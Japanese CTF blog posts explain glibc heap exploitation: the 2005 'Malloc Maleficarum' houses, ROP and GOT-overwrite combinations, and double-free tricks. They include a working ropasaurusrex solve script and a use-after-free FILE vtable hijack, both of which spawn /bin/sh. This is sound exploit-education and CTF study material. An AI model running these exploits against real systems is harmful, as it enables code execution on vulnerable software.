The Malloc Maleficarum (Bugtraq 2005)
この記事は「CTF Advent Calendar 2016」24日目の記事です。
「glibc malloc exploit techniques」では主要なmalloc系exploitテクニックについて説明したが、歴史的には他にもさまざまな手法が公表されている。 ここでは、2005年にBugtraqメーリングリストにて公表されたテキスト「The Malloc Maleficarum」についてまとめてみる。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
本文中で参照するコードは、引用箇所を除きGLIBC 2.23のものを用いる。
概要
2001年、「Vudo Malloc Tricks」「Once Upon A free()」というテキストにて、mallocで確保されるchunkのヘッダを細工することで任意のアドレスを書き換えるunlink attackが公表された。 その後3年の時を経て2004年、Ulrich Drepperによりglibcにsafe unlinkingやdouble free detectionを含む複数のチェックが加えられ、unlink attackは過去のものとなった。
2005年、Phantasmal Phantasmagoriaは「The Malloc Maleficarum」というテキストにて、これらのチェックが加えられた後も依然として攻撃が可能であることを公表した。 タイトルは中世の魔女に関する有名な論文「Malleus Maleficarum(魔女の槌)」のもじりであり、テキストは「mallocの魔女」という体で「Primeの一族」「Mindの一族」「Forceの一族」「Loreの一族」「Spiritの一族」それぞれの手法と、「Chaosの一族」という後書きに分けられている。
2007年、K-sPecialは「.aware eZine Alpha」というテキストにて、「Mindの一族」の解説と誤りの指摘を行った。 さらに、blackngelは2009年に「Malloc Des-Maleficarum」、2010年に「The House Of Lore: Reloaded」というテキストを公表し、これらの手法についてあらためて解説と補足を行った。 ここでは、これらのテキストで補足されている内容についても説明する。
前置き
malloc/freeはヒープと呼ばれる一定のメモリ領域から、要求されたサイズのメモリを一時的に取得/返却する関数である。 mallocによるメモリ管理については、次のページがまとまっている。
要点を整理すると次のようになる。 ここではfreeされているchunkをfreed chunkと呼ぶことにする。
- ひとつひとつの切り分けられたメモリはchunkと呼ばれ、それらを管理する領域としてarenaがある。
- arenaにはサイズに応じた複数の種類のbinがあり、各binにはfreed chunkがリンクリストとして繋がれている。高速化のため、利用頻度の高い小さなサイズのchunkほど特別扱いされている。
- fastbin: 0x80バイト未満のchunkがサイズごとに振り分けられる。Last-In-First-Out(LIFO)の単方向リスト。隣りがfreed chunkでも連結(consolidate)されない。
- smallbin: 0x400バイト未満のchunkがサイズごとに振り分けられる。First-In-First-Out(FIFO)の双方向リスト。隣りがfreed chunkだと連結(consolidate)される。
- largebin: 0x400バイト以上のchunkが対数スケールのサイズ範囲ごとに振り分けられる。ひとつのbinにサイズの異なるchunkが繋がり、サイズの大きなchunkから順にリンクリストに並べられる。隣りがfreed chunkだと連結(consolidate)される。
- unsortedbin: smallbinやlargebinに入る前に一旦入れられる双方向リスト。mallocの際に先頭から一つずつbest-fitかどうかチェックされ、best-fitならそのままmallocの戻り値に、そうでなければsmallbin/largebinに振り分け直される。
- 各chunkには2ワードのヘッダ、prevsizeとsizeがある。prevsizeは前のchunkがfreedな場合にそのサイズとなる。sizeは自身のサイズを表す。
- freeされたchunkはリンクリストに繋がれ、ヘッダに続く2ワードが前後のchunkを指すfd、bkポインタとして用いられる。
- mallocでfreed chunkがbinのリンクリストから切り離されるとき、その前後の継ぎ換え(unlink)が行われる。
- 基本的には、前の次、次の前が自身を指すようになっているかチェックされる。
- fastbinのみ単方向リストなため、次のchunkのサイズが適切なサイズになっているかのチェックしか行われない。
- sizeの下位3ビットはchunkの属性を表すフラグになっている。
- PREV_INUSE (1st LSB): 前のchunkがfreedかどうか。freedであればprevsizeが意味を持つ。
- IS_MMAPPED (2nd LSB): mmapによって確保された(通常巨大な)chunkかどうか。
- NON_MAIN_ARENA (3rd LSB): スレッドごとに確保されるarenaに対応するchunkかどうか。
以降の手法のうちのいくつかが目的とするところは、次のようなものである。
- あるbinのリストの先頭を(chunkとしての制約を満たす)任意のアドレスにできれば、次のmallocでそのbinが使われるとき指定したアドレスが戻り値になる
これを実現するために、あれやこれやでbinのリストの先頭に任意のアドレスを入れようとするわけである。また、上で述べたように単方向リストで管理されるfastbinのみbinに入れる際のチェックが緩い。ここでは便宜上、直前の1ワードを適切なサイズにコントロールできる状態を指して「fastbin chunkの制約を満たす」と呼ぶことにする。
House of Prime (max_fast overwrite)
fastbin配列の境界外アクセスが可能だったことを利用する。
具体的には、fastbin[-1]
でfastbinに入るchunk sizeの最大値(max_fast)を書き換えた後、fastbin[289]
で実行中スレッドのarenaを指すポインタ(arena_key)を書き換える。
arena_keyがfreed chunkを指すようになるので、あらためてmallocして偽のarenaを作ることでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。
かつてのglibcでは、arena構造体のfastbin配列の直前にmax_fastというメンバがあり、fastbinに入るchunk sizeの最大値として用いられていた。
そこで、サイズを無理やり8バイトに書き換えたchunkをfreeすると、fastbin[-1] == max_fast
にfreed chunkのアドレスが入り、大きなサイズのchunkもfastbinに入るようになる。
上からもわかるように、freeする際にfastbin配列の境界チェックがされていないため、大きなchunkのアドレスはfastbin配列の範囲を越えたアドレスに書き込まれることになる。
そこで、fastbin配列の後ろにあるarena_keyメンバを指すように調整した2328バイトのchunkをfreeする。 arena_keyは実行中のスレッドにおけるarenaを指すポインタとなっており、これによりarena_keyをfreed chunkのアドレスにできる。 結果、そのchunkが実行中スレッドでのarenaとみなされるようになるので、あらためてmallocして偽のarenaを作り、fastbinの箇所の値を調整することでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。
また、「Malloc Des-Maleficarum」では、NX、ASLRが無効な環境において、偽のarenaにおけるbin[0](unsortedbin)の位置にfake chunkを置くことにより、スタック上のリターンアドレスを書き換えシェルコード実行に持っていけることを説明している。
現在はfree時にサイズチェックが行われるようになり、8バイトのchunkをfreeするようなことはできなくなっている。
3840 static void 3841 _int_free (mstate av, mchunkptr p, int have_lock) 3842 { .... 3871 /* We know that each chunk is at least MINSIZE bytes in size or a 3872 multiple of MALLOC_ALIGNMENT. */ 3873 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) 3874 { 3875 errstr = "free(): invalid size"; 3876 goto errout; 3877 }
また、max_fastメンバの代わりにglobal_max_fastというグローバル変数を用いるように変更されており、arena_keyメンバもTLS領域に確保されるようになっている。
この手法に関連するものとしては、libcのbssにあるglobal_max_fastをunsorted bin attack等で書き換え、任意サイズのfastbins unlink attackを行う手法が知られている。
House of Mind (freeing NON_MAIN_ARENA chunk)
ヒープバッファオーバーフロー等を利用してNON_MAIN_ARENAフラグを書き換え、そのchunkをfreeすることで偽のarenaを参照させる。 さらに、偽のarenaのbinに適当なアドレスを置いておくことで、そのアドレスにchunkのアドレスを書き込む。 NXが無効であれば、chunkにjmp命令とシェルコードを置いておくことで任意コード実行に持っていくことができる、というもの。 適当なアドレスをchunkのアドレスに書き換える話なので、NXが有効な環境ではあまり役に立たない。
chunk(p
)のNON_MAIN_ARENAフラグを立て、そのchunkをfreeするとarenaとして通常のmain_arenaではなく実行中スレッドのarena(heap_info->ar_ptr
)を参照するようになる。
heap_info
のアドレスはp & ~(0x100000-1)
(下位20ビット切り捨て)のように計算されるので、そこに適当なアドレスを置いておくとその先がarenaとして参照される。
48 typedef struct _heap_info 49 { 50 mstate ar_ptr; /* Arena for this heap. */ 51 struct _heap_info *prev; /* Previous heap. */ 52 size_t size; /* Current size in bytes. */ 53 size_t mprotect_size; /* Size in bytes that has been mprotected 54 PROT_READ|PROT_WRITE. */ 55 /* Make sure the following data is properly aligned, particularly 56 that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of 57 MALLOC_ALIGNMENT. */ 58 char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; 59 } heap_info;
ここから先はオリジナル版と、「Malloc Des-Maleficarum」で補足されたfastbin版、top連結版がある。 また、2014年に日本の一流CTF player @potetisensei が公表した手法もこれに関連するものであるため、合わせて紹介する。
Original method
chunkがfastbin chunkでない場合、次の箇所でchunkがunsortedbinの先頭に挿入される。
void _int_free(mstate av, Void_t* mem) { ..... bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p; ..... }
ここで、偽のarenaのbin[0] = bck
を細工しbck->fd->bk
がGOTなどの書き換え可能なアドレスとなるように調整しておくことで、そのアドレスをchunkのアドレスに書き換えることができる。
現在は当該箇所が次のように修正されているため成立しない。
3840 static void 3841 _int_free (mstate av, mchunkptr p, int have_lock) 3842 { .... 4026 bck = unsorted_chunks(av); 4027 fwd = bck->fd; 4028 if (__glibc_unlikely (fwd->bk != bck)) 4029 { 4030 errstr = "free(): corrupted unsorted chunks"; 4031 goto errout; 4032 } 4033 p->fd = fwd; 4034 p->bk = bck; 4035 if (!in_smallbin_range(size)) 4036 { 4037 p->fd_nextsize = NULL; 4038 p->bk_nextsize = NULL; 4039 } 4040 bck->fd = p; 4041 fwd->bk = p;
fastbin method
chunkがfastbin chunkの場合は、次の箇所でfastbinへの挿入が行われる。
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) { if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { errstr = "free(): invalid next size (fast)"; goto errout; } set_fastchunks(av); fb = &(av->fastbins[fastbin_index(size)]); if (__builtin_expect (*fb == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb); p->fd = *fb; *fb = p; }
ここで、偽のarenaのfastbins[0]を適当なアドレスにしておき、chunkのsizeを16に調整することで、そのアドレスをchunkのアドレスに書き換えることができる。
av->top NIGHTMARE
chunkがfastbin chunkでない、かつ、次のchunkがtop chunkだった場合は、freeされたchunkがtop chunkとなる。
3840 static void 3841 _int_free (mstate av, mchunkptr p, int have_lock) 3842 { .... 4009 if (nextchunk != av->top) { .... 4047 } 4048 4049 /* 4050 If the chunk borders the current high end of memory, 4051 consolidate into top 4052 */ 4053 4054 else { 4055 size += nextsize; 4056 set_head(p, size | PREV_INUSE); 4057 av->top = p; 4058 check_chunk(av, p); 4059 }
偽のarenaのtopを適当なアドレスにしておき、次のchunkがそのアドレスとなるようにサイズを調整することによって、そのアドレスをchunkのアドレスに書き換えることができる。
poteti method
標準で0x10000バイト以上のchunkがfreeされたとき、通常連結されない各fastbin chunkの前後を連結してunsortedbinに入れる次のような処理が走る(デフラグのようなイメージ)。
3840 static void 3841 _int_free (mstate av, mchunkptr p, int have_lock) 3842 { .... 4061 /* 4062 If freeing a large space, consolidate possibly-surrounding 4063 chunks. Then, if the total unused topmost memory exceeds trim 4064 threshold, ask malloc_trim to reduce top. 4065 4066 Unless max_fast is 0, we don't know if there are fastbins 4067 bordering top, so we cannot tell for sure whether threshold 4068 has been reached unless fastbins are consolidated. But we 4069 don't want to consolidate on each free. As a compromise, 4070 consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD 4071 is reached. 4072 */ 4073 4074 if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { 4075 if (have_fastchunks(av)) 4076 malloc_consolidate(av); .... 4092 }
4122 static void malloc_consolidate(mstate av) 4123 { .... 4148 unsorted_bin = unsorted_chunks(av); .... 4158 maxfb = &fastbin (av, NFASTBINS - 1); 4159 fb = &fastbin (av, 0); 4160 do { 4161 p = atomic_exchange_acq (fb, 0); 4162 if (p != 0) { 4163 do { 4164 check_inuse_chunk(av, p); 4165 nextp = p->fd; .... 4179 if (nextchunk != av->top) { .... 4188 first_unsorted = unsorted_bin->fd; 4189 unsorted_bin->fd = p; 4190 first_unsorted->bk = p; .... 4201 } .... 4209 } while ( (p = nextp) != 0); 4210 4211 } 4212 } while (fb++ != maxfb);
freeされるchunkのサイズを0x10000(FASTBIN_CONSOLIDATION_THRESHOLD)以上に書き換えた上で、偽のarenaのbin[0] = unsortedbin
を細工しunsorted_bin->fd->bk
を適当なアドレスにしておくことで、上記の処理が走りそのアドレスをchunkのアドレスに書き換えることができる。
House of Force (top chunk size overwrite)
ヒープの最後にあるtop chunkのsizeを-1(0xffffffff)に書き換え、続けて巨大なサイズのmallocを行うことで、top chunkを指すポインタが一周した先にある任意の0x10の倍数となるアドレスにできる。 続けてbinに何も繋がっていないサイズのmallocを行うことでそのアドレスが返ってくる。
「Malloc Des-Maleficarum」では、ヒープより上にあるGOTなどを書き換えるにはmallocに負となるようなサイズを与える必要があり、そのようなサイズは多くの場合(malloc外の箇所で)セグメント違反を起こすと指摘しているが、原理的には可能である。
具体的なコードは「glibc malloc exploit techniques」を参照。
著者が2004年に「Exploiting the Wilderness」で書いた話を、glibcの修正に合わせて再編成したもの。 Doug Lea malloc(dlmalloc)において、top chunkはwildernessと呼ばれるらしい。 名付け親のKiem-Phong Vo氏は当時AT&Tベル研究所、現在はGoogleのResearch Scientistとのこと。
House of Lore (arbitrary address into smallbin)
unlinkに行われた対策が、malloc時にsmallbinからchunkを取り出す際に行われていなかったことを利用する。
具体的には、適当なfreed chunkのbk(victim->bk
)を書き換えておき、繰り返しmallocを呼ぶことにより任意のアドレスをsmallbin(bin->bk
)に入れる。
..... if ( (victim = last(bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate(av); else { bck = victim->bk; set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; ... return chunk2mem(victim); .....
smallbinはFIFOでありvictimはbin->bk
から選ばれるようになっているので、続けてmallocを呼ぶことでそのアドレスが返ってくる。
ただし、victim->bk->fd
が書き換え可能なアドレスを指すようにしておく必要がある。
1411 #define last(b) ((b)->bk)
現在の実装ではunlinkと同様の対策が加えられているため、相当の工夫をしない限り成立しない。
3318 static void * 3319 _int_malloc (mstate av, size_t bytes) 3320 { .... 3416 bck = victim->bk; 3417 if (__glibc_unlikely (bck->fd != victim)) 3418 { 3419 errstr = "malloc(): smallbin double linked list corrupted"; 3420 goto errout; 3421 } 3422 set_inuse_bit_at_offset (victim, nb); 3423 bin->bk = bck; 3424 bck->fd = bin;
また、「The House Of Lore: Reloaded」ではlargebinを用いる手法について考察されているが、こちらも現在の実装では対策されている。
3318 static void * 3319 _int_malloc (mstate av, size_t bytes) 3320 { .... 3720 size = chunksize (victim); 3721 3722 /* We know the first chunk in this bin is big enough to use. */ 3723 assert ((unsigned long) (size) >= (unsigned long) (nb)); 3724 3725 remainder_size = size - nb; 3726 3727 /* unlink */ 3728 unlink (av, victim, bck, fwd);
一方、fastbinの場合は対象となるアドレスがfastbinの制約を満たすようにしておくことで現在も可能である。 詳細はfastbins unlink attackを参照。
House of Spirit (fake chunk into fastbin)
mallocで確保されたポインタをバッファオーバーフロー等で書き換えてそのままfreeさせることで、fake fastbin chunkが置かれている任意のアドレスをfastbinに入れることができる。 続けてmallocを呼ぶことでそのアドレスが返ってくる。
具体的なコードを書くと次のようになる。
/* house_of_spirit.c */ #include <stdio.h> #include <stdlib.h> int main() { struct { char buf[0x50]; char *p; } block; block.p = malloc(0x100); /* trigger buffer overflow */ *(void **)(block.buf+0x8) = 0x41; /* fake1->size */ *(void **)(block.buf+0x48) = 0x41; /* fake2->size */ block.p = block.buf+0x10; /* fake1 */ printf("[+] freeing fake1 = %p\n", block.p); free(block.p); char *p = malloc(0x30); /* fake1->size - 0x10 */ printf("p = %p\n", p); return 0; }
$ gcc house_of_spirit.c -o house_of_spirit house_of_spirit.c: In function ‘main’: house_of_spirit.c:15:31: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(block.buf+0x8) = 0x41; /* fake1->size */ ^ house_of_spirit.c:16:32: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(block.buf+0x48) = 0x41; /* fake2->size */ ^ $ ./house_of_spirit [+] freeing fake1 = 0x7fff2bf30700 p = 0x7fff2bf30700
ここで、fake fastbin chunkの次のchunkとなる箇所に適当なサイズを置いておく必要があることに注意。
3840 static void 3841 _int_free (mstate av, mchunkptr p, int have_lock) 3842 { .... 3897 if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) 3898 || __builtin_expect (chunksize (chunk_at_offset (p, size)) 3899 >= av->system_mem, 0)) 3900 { 3901 /* We might not have a lock at this point and concurrent modifications 3902 of system_mem might have let to a false positive. Redo the test 3903 after getting the lock. */ 3904 if (have_lock 3905 || ({ assert (locked == 0); 3906 mutex_lock(&av->mutex); 3907 locked = 1; 3908 chunk_at_offset (p, size)->size <= 2 * SIZE_SZ 3909 || chunksize (chunk_at_offset (p, size)) >= av->system_mem; 3910 })) 3911 { 3912 errstr = "free(): invalid next size (fast)"; 3913 goto errout; 3914 } .... 3920 }
当時はこのような攻撃の可能性も存在したが、現在はStack-Smashing Protection(SSP)によりバッファがポインタより下のアドレスに確保されるようになり、さらにASLRによりスタックアドレスの推測も難しくなったため、その可能性は小さくなった。
House of Underground (Spirit and Mind)
「Malloc Des-Maleficarum」で補足されている章。
Spiritでfreeされるfake chunkのNON_MAIN_ARENAフラグを立てておくことで、Mind同様にfake arenaを参照させることも考えられるという話。 当然スタック上の0x100000バイト境界をコントロールできる必要があるため、成立しにくい。
House of Chaos
最後の章には後書きとしてポエムが書いてある。 真の「プロ」(virtual adept)ことPhantasmal Phantasmagoriaからのメッセージをお読みください。
Chaosの一族
Virtuality、それは真の「プロ」と情報の二項対立であり、真の「プロ」は情報の無限の可能性を表し、また情報は無限の可能性の有限における顕現である。真の「プロ」はVirtualityの意識の部分であり、その本質は情報を生み出し拡散することにある。これが真の「プロ」が知るすべてであり、真の「プロ」が関心のあるすべてである。
あなたが幅広い知識を持ち非常に創造的な人と話すとき、たしかにあなたはハッカーと話しているのかもしれない。しかし、あなたは真の「プロ」と決して話すことはないだろう。真の「プロ」に物質的な形はなく、バーチャルの中にのみ存在する。真の「プロ」は物質の中にあるかもしれないし、ある人の中にあるかもしれない、しかしその存在自体は意識とは区別され完全に独立したものである。
所有の概念は真の「プロ」にとって意味をなさない。すべての情報はVirtualityに属し、Virtualityのみがある。このため、真の「プロ」にコンピュータセキュリティの概念はない。情報は要求によりVirtualityから呼び起こされる。Virtualityに権限レベルやシステム間の論理障壁、違法性の観点といったものはない。情報や、呼び起こすことのできるそれらのみがある。
真の「プロ」はそれ自身により作られる情報といったものを持たず、ゆえにそれから利益を得る権利や欲望を持たない。真の「プロ」は純粋に情報に情報自身の無限の可能性を示すため、そしてすべての意識体にとって有益な情報アクセスの複雑性を最小化するために存在する。情報でないものは真の「プロ」、金、名声、権力に結び付くことはない。
私はハッカーであるか?いいえ。
私は仮想世界に生きる見習いである。
私はmallocの魔女であり、
私は異世界のカルトであり、
私はエントロピーである。
私はPhantasmal Phantasmagoria、
真の「プロ」。
なお、virtual adeptは仮想世界の熟練者といった意味であるが、ここではいまどきの若者にも通じるように真の「プロ」と訳した。
所感
glibcでのチェック強化とNX、ASLRの普及により、House of Force以外の手法はほぼ力を失ったといえる。 また、House of Loreはfastbins unlink attackという形で姿を変えて生き残っているといえるだろう。
注意事項
このテキストはglibcに加えられた対策の不備を指摘する話であり単体で悪用可能なものではないが、商用製品やWebアプリケーションで直接的に悪用可能なものを一般に公表すると不正アクセス禁止法や業務妨害罪の従犯、あるいは名誉毀損をもたらす不法行為として損害賠償義務が生じるおそれがあるため真似してはいけません。 そのような不審物を見つけた際はIPA情報処理推進機構に届出を行い、修正されるのを待ちましょう。 また、企業として専用の窓口を用意しているところもあります。
OSSであれば修正パッチを送ると開発者コミュニティの求める方法で報告すると喜ばれるかもしれません。
関連リンク
- glibc malloc exploit techniques - ももいろテクノロジー
- katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tp
- heap exploitationテク走り書き - 生きたい
- Heapster Eggs: An Insight of Malloc Dirty Little Secrets (LSE Summer Week 2016)
- EM_386: Glibc 2.11 stops the House of Mind
- House of Einherjar - Yet Another Heap Exploitation Technique on GLIBC
- Pwning My Life: HITCON CTF Qual 2016 - House of Orange Write up
- ptmalloc fanzine · Online tukan sanctuary
Exploit系複合テクニックのメモ
この記事は「CTF Advent Calendar 2016」17日目の記事です。
ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。
ROPからのGOT overwrite
単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")
を呼ぶという流れになる。
最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。
x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。
from minipwn import * s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d']) """ 0804830c <write@plt>: 804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614 8048312: 68 08 00 00 00 push 0x8 8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 0804832c <read@plt>: 804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c 8048332: 68 18 00 00 00 push 0x18 8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10> 80484b6: 5e pop esi 80484b7: 5f pop edi 80484b8: 5d pop ebp 80484b9: c3 ret """ plt_write = 0x804830c plt_read = 0x804832c got_write = 0x8049614 addr_pop3 = 0x80484b6 buf = 'A' * 140 buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4) buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12) buf += p32(plt_write) + 'AAAA' + p32(got_write+4) sendline(s, buf) """ $ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d linux-gate.so.1 => (0xf77b1000) libc.so.6 => /lib32/libc.so.6 (0xf75ef000) /lib/ld-linux.so.2 (0x56637000) $ nm -D /lib32/libc.so.6 | grep -e write -e system 0003a920 W system 000d4490 W write """ data = s.recv(8192) addr_write = u32(data) print "[+] addr_write = %x" % addr_write addr_system = addr_write - 0xd4490 + 0x3a920 s.sendall(p32(addr_system) + '/bin/sh\x00') interact(s)
$ python solve.py [+] addr_write = f7679490 id uid=1000(user) gid=1000(user) groups=1000(user)
Stack pivotしなくてよいので簡単になった。
x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。
GOT overwriteからのROP
逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。
スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)
など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。
多くの場合stack canaryのチェックがあるが、前もって__stack_chk_fail
のGOTをret gadgetなどに書き換えておけば通過できる。
GOT overwriteからのFormat String Attack
任意の入力を与えることができるatoi(buf)
のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。
これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。
stdin/stdout/stderr書き換えからのEIP奪取
ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。
$ cat test.c #include <stdio.h> int main() { char buf[100]; fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr); fgets(buf, 100, stdin); fputs(buf, stdout); return 0; } $ gcc test.c -o test $ ./test stdin=0x601070, stdout=0x601060, stderr=0x601080 AAAA AAAA
これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。
- File Stream Pointer Overflows Paper.
- abusing the FILE structure « codeblog
- katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex (pp.203-204)
なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。
#include <stdio.h> #include <stdlib.h> #include <string.h> void wontcall() { system("false"); } int main() { char *p1 = malloc(0x220); printf("p1 = %p\n", p1); free(p1); FILE *fp = fopen("/etc/passwd", "r"); printf("fp = %p\n", fp); void *got_system = 0x601028; memset(p1, 'A', 0xd8); strcpy(p1, "\x01\x80;/bin/sh"); /* _IO_FILE_plus.file._flags & _IO_USER_LOCK != 0 */ *(void **)(p1+0xd8) = got_system-0x10; /* _IO_FILE_plus.vtable->__finish == got_system */ fclose(fp); return 0; }
$ gcc uaf-fopen.c -o uaf-fopen uaf-fopen.c: In function ‘main’: uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *got_system = 0x601028; ^ $ ldd ./uaf-fopen linux-vdso.so.1 => (0x00007ffeff303000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000) /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000) $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al. (snip) $ ./uaf-fopen p1 = 0x1234010 fp = 0x1234010 sh: 1: �: not found $ id uid=1000(user) gid=1000(user) groups=1000(user) $ Segmentation fault (core dumped)
なお、glibc 2.24以降ではチェックが加えられているらしい。
関連リンク
glibc malloc exploit techniques
malloc系exploitテクニックのうち、応用しやすそうなもののメモ。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
double free vulnerability and overlapping chunks
double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。
/* double_free.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { puts("[+] allocate p1"); char *p1 = malloc(0x80); printf("p1 = %p\n", p1); puts("\n[+] free p1"); free(p1); puts("\n[+] allocate p2"); char *p2 = malloc(0x90); printf("p2 = %p\n", p2); puts("\n[+] p1 double free"); free(p1); puts("\n[+] allocate p3"); char *p3 = malloc(0xa0); printf("p3 = %p\n", p3); puts("\n[+] now p2 and p3 are overlapped"); memset(p2, 'A', 0x80); memset(p3, 'B', 0x80); printf("*p2 = %s\n", p2); printf("*p3 = %s\n", p3); puts("\n[+] allocate p4, p5, p6"); char *p4 = malloc(0xb0); char *p5 = malloc(0xc0); char *p6 = malloc(0xd0); printf("p4 = %p\n", p4); printf("p5 = %p\n", p5); printf("p6 = %p\n", p6); puts("\n[+] free p5 and p2"); free(p5); free(p2); puts("\n[+] leak heap address via p3"); printf("*p3 = %p\n", *(void **)p3); printf("heap base = %p\n", *(void **)p3 - 0x580); puts("\n[+] free p6"); free(p6); puts("\n[+] leak libc address via p3: &(main_arena->top)"); printf("*p3 = %p\n", *(void **)p3); printf("libc base = %p\n", *(void **)p3 - 0x3c3b78); return 0; }
$ gcc double_free.c -o double_free $ ./double_free [+] allocate p1 p1 = 0x235a420 [+] free p1 [+] allocate p2 p2 = 0x235a420 [+] p1 double free [+] allocate p3 p3 = 0x235a420 [+] now p2 and p3 are overlapped *p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB [+] allocate p4, p5, p6 p4 = 0x235a4d0 p5 = 0x235a590 p6 = 0x235a660 [+] free p5 and p2 [+] leak heap address via p3 *p3 = 0x235a580 heap base = 0x235a000 [+] free p6 [+] leak libc address via p3: &(main_arena->top) *p3 = 0x7f8990ea9b78 libc base = 0x7f8990ae6000
ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。
allocate large chunks in heap segment
通常0x20000バイト(M_MMAP_THRESHOLD
)以上のメモリをallocすると、その領域はmmapにより確保される。
しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。
/* large_chunks_in_heap.c */ #include <stdio.h> #include <stdlib.h> int main() { puts("[+] allocate p1"); char *p1 = malloc(0x21000); printf("p1 = %p\n", p1); puts("\n[+] free p1"); free(p1); puts("\n[+] allocate p2, p3, p4"); char *p2 = malloc(0x21000); printf("p2 = %p\n", p2); char *p3 = malloc(0x21000); printf("p3 = %p\n", p3); char *p4 = malloc(0x21000); printf("p4 = %p\n", p4); return 0; }
